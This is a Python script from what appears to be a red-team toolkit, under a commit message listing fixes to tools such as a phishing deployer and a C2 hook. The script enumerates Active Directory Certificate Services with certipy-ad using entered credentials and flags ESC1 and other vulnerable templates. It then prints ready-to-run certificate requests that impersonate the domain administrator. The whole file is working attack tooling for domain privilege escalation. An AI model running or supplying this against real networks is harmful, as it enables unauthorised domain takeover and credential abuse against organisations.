1d95a868a0
- deploy_phishing.py: undefined extra_vars on orchestration playbook - freebird/main_menu.py: set_variable() called as function, is a method; fix to config.prompt_set_variable() - freebird/tool_manager.py: shell=True with f-string paths; replace with direct pip binary call - certipy-enum.py: password exposed in process list and logs; pass via env var - cleanup_engine.py: load_vars_file() called with path string, expects provider name - ioc-u.py: scapy import not guarded; tool crashed if scapy missing - um_ops.py + um-vault.py: SQL table names f-stringed directly; quote identifiers - ops-logger.sh: 63-line duplicate function block; removed second copy; quote config_script var - recon_tools.py: ir-sandbox + link-sandbox not in TOOLS dict; forensics menu option 5 hidden from user - um-crack.py: missing --scope flag inconsistent with all other Umbra tools - heartbeat_ingest.py: openssl subprocess not catching FileNotFoundError; wrap with clear error
353 lines
15 KiB
Python
353 lines
15 KiB
Python
#!/usr/bin/env python3
|
|
import subprocess
|
|
import re
|
|
import sys
|
|
import os
|
|
import glob
|
|
import json
|
|
|
|
# Ops hook (safe no-op if c2itall not available)
|
|
try:
|
|
sys.path.insert(0, os.path.expanduser("~/tools/c2itall"))
|
|
from utils.ops_hook import OpsHook as _OpsHook
|
|
except ImportError:
|
|
_OpsHook = None
|
|
|
|
def run_command(cmd):
|
|
"""Run a command and return its output"""
|
|
try:
|
|
result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=60)
|
|
return result.stdout, result.stderr, result.returncode
|
|
except subprocess.TimeoutExpired:
|
|
return "", "Command timed out", 1
|
|
|
|
def read_latest_certipy_files():
|
|
"""Read the latest certipy output files"""
|
|
txt_files = glob.glob("*_Certipy.txt")
|
|
json_files = glob.glob("*_Certipy.json")
|
|
|
|
txt_content = ""
|
|
json_content = {}
|
|
|
|
if txt_files:
|
|
latest_txt = max(txt_files, key=os.path.getctime)
|
|
try:
|
|
with open(latest_txt, 'r', encoding='utf-8') as f:
|
|
txt_content = f.read()
|
|
except:
|
|
txt_content = ""
|
|
|
|
if json_files:
|
|
latest_json = max(json_files, key=os.path.getctime)
|
|
try:
|
|
with open(latest_json, 'r', encoding='utf-8') as f:
|
|
json_content = json.load(f)
|
|
except Exception as e:
|
|
print(f"[!] Error reading JSON: {e}")
|
|
# Try reading as text and debugging
|
|
try:
|
|
with open(latest_json, 'r', encoding='utf-8') as f:
|
|
raw_content = f.read()
|
|
pass # raw content available for debugging if needed
|
|
except:
|
|
pass
|
|
json_content = {}
|
|
|
|
return txt_content, json_content
|
|
|
|
def parse_cas_from_json(json_data):
|
|
"""Extract CAs from JSON data - looking for CA Name field"""
|
|
cas = []
|
|
try:
|
|
if "Certificate Authorities" in json_data:
|
|
ca_section = json_data["Certificate Authorities"]
|
|
if isinstance(ca_section, dict):
|
|
for key, ca_info in ca_section.items():
|
|
if isinstance(ca_info, dict) and "CA Name" in ca_info:
|
|
cas.append(ca_info["CA Name"])
|
|
except Exception as e:
|
|
print(f"[!] Error parsing CAs: {e}")
|
|
return cas
|
|
|
|
def parse_templates_from_json(json_data):
|
|
"""
|
|
Extract templates and identify vulnerabilities:
|
|
- ESC1: Enrollee Supplies Subject = True + Enabled + User can enroll
|
|
- ESC2/ESC3: Look in [*] Remarks section
|
|
- User Enrollable: Look for [+] User Enrollable Principals
|
|
"""
|
|
all_templates = []
|
|
vulnerable_templates = []
|
|
user_enrollable_templates = []
|
|
esc1_templates = []
|
|
|
|
try:
|
|
if "Certificate Templates" in json_data:
|
|
template_section = json_data["Certificate Templates"]
|
|
if isinstance(template_section, dict):
|
|
for template_key, template_info in template_section.items():
|
|
if isinstance(template_info, dict) and "Template Name" in template_info:
|
|
template_name = template_info["Template Name"]
|
|
all_templates.append(template_name)
|
|
|
|
# Check if enabled
|
|
is_enabled = template_info.get("Enabled", False)
|
|
|
|
# Check for ESC1: Enrollee Supplies Subject + enabled
|
|
enrollee_supplies = template_info.get("Enrollee Supplies Subject", False)
|
|
if enrollee_supplies and is_enabled:
|
|
esc1_templates.append(template_name)
|
|
vulnerable_templates.append(f"{template_name} (ESC1)")
|
|
|
|
# Check for vulnerabilities in [*] Remarks
|
|
if "[*] Remarks" in template_info:
|
|
remarks = template_info["[*] Remarks"]
|
|
if isinstance(remarks, dict):
|
|
for remark_key in remarks.keys():
|
|
if "ESC" in str(remark_key):
|
|
if template_name not in [v.split(' ')[0] for v in vulnerable_templates]:
|
|
vulnerable_templates.append(f"{template_name} ({remark_key.split()[0]})")
|
|
|
|
# Check for [+] User Enrollable Principals
|
|
if "[+] User Enrollable Principals" in template_info:
|
|
user_enrollable_templates.append(template_name)
|
|
|
|
except Exception as e:
|
|
print(f"[!] Error parsing templates: {e}")
|
|
|
|
return all_templates, vulnerable_templates, user_enrollable_templates, esc1_templates
|
|
|
|
def parse_targets_from_json(json_data):
|
|
"""Extract CA DNS names for targeting"""
|
|
targets = []
|
|
try:
|
|
if "Certificate Authorities" in json_data:
|
|
ca_section = json_data["Certificate Authorities"]
|
|
if isinstance(ca_section, dict):
|
|
for key, ca_info in ca_section.items():
|
|
if isinstance(ca_info, dict) and "DNS Name" in ca_info:
|
|
targets.append(ca_info["DNS Name"])
|
|
except Exception as e:
|
|
print(f"[!] Error parsing targets: {e}")
|
|
return targets
|
|
|
|
def parse_esc_vulnerabilities(json_data):
|
|
"""Extract ESC vulnerabilities from CA and template remarks"""
|
|
esc_vulns = []
|
|
try:
|
|
# CA level ESC (like ESC8)
|
|
if "Certificate Authorities" in json_data:
|
|
ca_section = json_data["Certificate Authorities"]
|
|
if isinstance(ca_section, dict):
|
|
for key, ca_info in ca_section.items():
|
|
if isinstance(ca_info, dict) and "[*] Remarks" in ca_info:
|
|
remarks = ca_info["[*] Remarks"]
|
|
if isinstance(remarks, dict):
|
|
for remark_key in remarks.keys():
|
|
if "ESC" in str(remark_key):
|
|
esc_vulns.append(remark_key)
|
|
|
|
# Template level ESC
|
|
if "Certificate Templates" in json_data:
|
|
template_section = json_data["Certificate Templates"]
|
|
if isinstance(template_section, dict):
|
|
for template_key, template_info in template_section.items():
|
|
if isinstance(template_info, dict) and "[*] Remarks" in template_info:
|
|
remarks = template_info["[*] Remarks"]
|
|
if isinstance(remarks, dict):
|
|
for remark_key in remarks.keys():
|
|
if "ESC" in str(remark_key):
|
|
esc_vulns.append(remark_key)
|
|
|
|
except Exception as e:
|
|
print(f"[!] Error parsing ESC vulnerabilities: {e}")
|
|
|
|
return list(set(esc_vulns))
|
|
|
|
def get_template_permissions(json_data, template_name):
|
|
"""Get who can enroll in this template"""
|
|
try:
|
|
if "Certificate Templates" in json_data:
|
|
template_section = json_data["Certificate Templates"]
|
|
if isinstance(template_section, dict):
|
|
for template_key, template_info in template_section.items():
|
|
if isinstance(template_info, dict) and template_info.get("Template Name") == template_name:
|
|
# Look for enrollment rights
|
|
permissions = template_info.get("Permissions", {})
|
|
if isinstance(permissions, dict):
|
|
enrollment_perms = permissions.get("Enrollment Permissions", {})
|
|
if isinstance(enrollment_perms, dict):
|
|
enrollment_rights = enrollment_perms.get("Enrollment Rights", [])
|
|
return enrollment_rights if isinstance(enrollment_rights, list) else []
|
|
except Exception as e:
|
|
print(f"[!] Error getting permissions for {template_name}: {e}")
|
|
return []
|
|
|
|
def get_enabled_templates(json_data):
|
|
"""Get list of enabled templates"""
|
|
enabled_templates = []
|
|
try:
|
|
if "Certificate Templates" in json_data:
|
|
template_section = json_data["Certificate Templates"]
|
|
if isinstance(template_section, dict):
|
|
for template_key, template_info in template_section.items():
|
|
if isinstance(template_info, dict):
|
|
template_name = template_info.get("Template Name", "")
|
|
is_enabled = template_info.get("Enabled", False)
|
|
if is_enabled and template_name:
|
|
enabled_templates.append(template_name)
|
|
except Exception as e:
|
|
print(f"[!] Error getting enabled templates: {e}")
|
|
return enabled_templates
|
|
|
|
def main():
|
|
# Ops hook
|
|
_hook = _OpsHook("certipy-enum") if _OpsHook else None
|
|
if _hook:
|
|
_hook.register()
|
|
|
|
print("=" * 60)
|
|
print("CERTIPY-AD CERTIFICATE ATTACK BUILDER v2.3")
|
|
print("=" * 60)
|
|
|
|
# Get user input
|
|
username = input("Enter username (user@domain.com): ")
|
|
password = input("Enter password: ")
|
|
dc_ip = input("Enter DC IP: ")
|
|
|
|
print("\n[*] Running certipy-ad enumeration...")
|
|
|
|
# Pass password via environment variable — keeps it out of process list and logs
|
|
os.environ['_CERTIPY_PASS'] = password
|
|
find_cmd = f"certipy-ad find -username {username} -password \"$_CERTIPY_PASS\" -dc-ip {dc_ip}"
|
|
vuln_cmd = f"certipy-ad find -username {username} -password \"$_CERTIPY_PASS\" -dc-ip {dc_ip} -vulnerable"
|
|
|
|
# Run basic enumeration
|
|
print("[*] Finding Certificate Authorities and basic info...")
|
|
stdout, stderr, returncode = run_command(find_cmd)
|
|
|
|
if returncode != 0:
|
|
os.environ.pop('_CERTIPY_PASS', None)
|
|
print(f"[!] Error running certipy-ad find: {stderr}")
|
|
return
|
|
|
|
# Run vulnerability scan
|
|
print("[*] Scanning for vulnerable templates...")
|
|
vuln_stdout, vuln_stderr, vuln_returncode = run_command(vuln_cmd)
|
|
os.environ.pop('_CERTIPY_PASS', None)
|
|
|
|
# Read the saved files
|
|
print("[*] Reading certipy output files...")
|
|
txt_content, json_content = read_latest_certipy_files()
|
|
|
|
if not json_content:
|
|
print("[!] No JSON data found. Check the certipy output files manually.")
|
|
return
|
|
|
|
# Parse results from JSON
|
|
cas = parse_cas_from_json(json_content)
|
|
all_templates, vulnerable_templates, user_enrollable_templates, esc1_templates = parse_templates_from_json(json_content)
|
|
targets = parse_targets_from_json(json_content)
|
|
esc_vulns = parse_esc_vulnerabilities(json_content)
|
|
enabled_templates = get_enabled_templates(json_content)
|
|
|
|
# Display results
|
|
print("\n" + "=" * 60)
|
|
print("ENUMERATION RESULTS")
|
|
print("=" * 60)
|
|
|
|
print(f"\n[+] CERTIFICATE AUTHORITIES ({len(cas)} found):")
|
|
for i, ca in enumerate(cas, 1):
|
|
print(f" {i}. {ca}")
|
|
|
|
print(f"\n[+] CA TARGETS/DNS NAMES ({len(targets)} found):")
|
|
for i, target in enumerate(targets, 1):
|
|
print(f" {i}. {target}")
|
|
|
|
print(f"\n[+] ESC VULNERABILITIES FOUND ({len(esc_vulns)} found):")
|
|
for esc in esc_vulns:
|
|
print(f" - {esc}")
|
|
|
|
print(f"\n[+] VULNERABLE TEMPLATES ({len(vulnerable_templates)} found):")
|
|
for i, template in enumerate(vulnerable_templates, 1):
|
|
print(f" {i}. {template}")
|
|
|
|
print(f"\n[+] USER ENROLLABLE TEMPLATES ({len(user_enrollable_templates)} found):")
|
|
for i, template in enumerate(user_enrollable_templates, 1):
|
|
permissions = get_template_permissions(json_content, template)
|
|
perms_str = ', '.join(permissions) if permissions else "Check manually"
|
|
print(f" {i}. {template} -> {perms_str}")
|
|
|
|
print(f"\n[+] ESC1 TEMPLATES (Enrollee Supplies Subject) ({len(esc1_templates)} found):")
|
|
for i, template in enumerate(esc1_templates, 1):
|
|
print(f" {i}. {template}")
|
|
|
|
print(f"\n[+] ENABLED TEMPLATES ({len(enabled_templates)} found):")
|
|
for i, template in enumerate(enabled_templates[:10], 1):
|
|
print(f" {i}. {template}")
|
|
if len(enabled_templates) > 10:
|
|
print(f" ... and {len(enabled_templates) - 10} more enabled templates")
|
|
|
|
# Build attack commands
|
|
if cas and targets:
|
|
domain = username.split('@')[1] if '@' in username else 'company.com'
|
|
|
|
print("\n" + "=" * 60)
|
|
print("RECOMMENDED ATTACK COMMANDS")
|
|
print("=" * 60)
|
|
|
|
ca_name = cas[0]
|
|
target_name = targets[0]
|
|
|
|
# Priority: ESC1 templates, then user enrollable, then common enabled ones
|
|
priority_templates = []
|
|
|
|
# Add ESC1 templates first (highest priority)
|
|
for template in esc1_templates:
|
|
if template not in priority_templates:
|
|
priority_templates.append(template)
|
|
|
|
# Add user enrollable templates
|
|
for template in user_enrollable_templates:
|
|
if template not in priority_templates:
|
|
priority_templates.append(template)
|
|
|
|
# Add common templates if they're enabled
|
|
common_templates = ["User", "Machine", "WebServer", "AutoenrolledUser"]
|
|
for template in common_templates:
|
|
if template in enabled_templates and template not in priority_templates:
|
|
priority_templates.append(template)
|
|
|
|
# Limit to top 5
|
|
priority_templates = priority_templates[:5]
|
|
|
|
if not priority_templates:
|
|
priority_templates = enabled_templates[:3]
|
|
|
|
print(f"\n[*] Using CA: {ca_name}")
|
|
print(f"[*] Using Target: {target_name}")
|
|
print(f"[*] Domain Controller: Use {dc_ip} for authentication after getting certificate")
|
|
|
|
for i, template in enumerate(priority_templates, 1):
|
|
permissions = get_template_permissions(json_content, template)
|
|
print(f"\n[{i}] Template: {template}")
|
|
if permissions:
|
|
print(f" Permissions: {', '.join(permissions)}")
|
|
else:
|
|
print(f" Permissions: Check manually")
|
|
|
|
cmd = f"certipy-ad req -username {username} -password '{password}' -ca '{ca_name}' -target {target_name} -template '{template}' -upn administrator@{domain}"
|
|
print(f" Command: {cmd}")
|
|
|
|
print(f"\n[*] Output files created:")
|
|
txt_files = glob.glob("*_Certipy.txt")
|
|
json_files = glob.glob("*_Certipy.json")
|
|
for f in sorted(txt_files[-2:] + json_files[-2:]):
|
|
print(f" - {f}")
|
|
|
|
else:
|
|
print("\n[!] Insufficient data found for building attack commands.")
|
|
print(" Try running the commands manually with known templates.")
|
|
|
|
if __name__ == "__main__":
|
|
main() |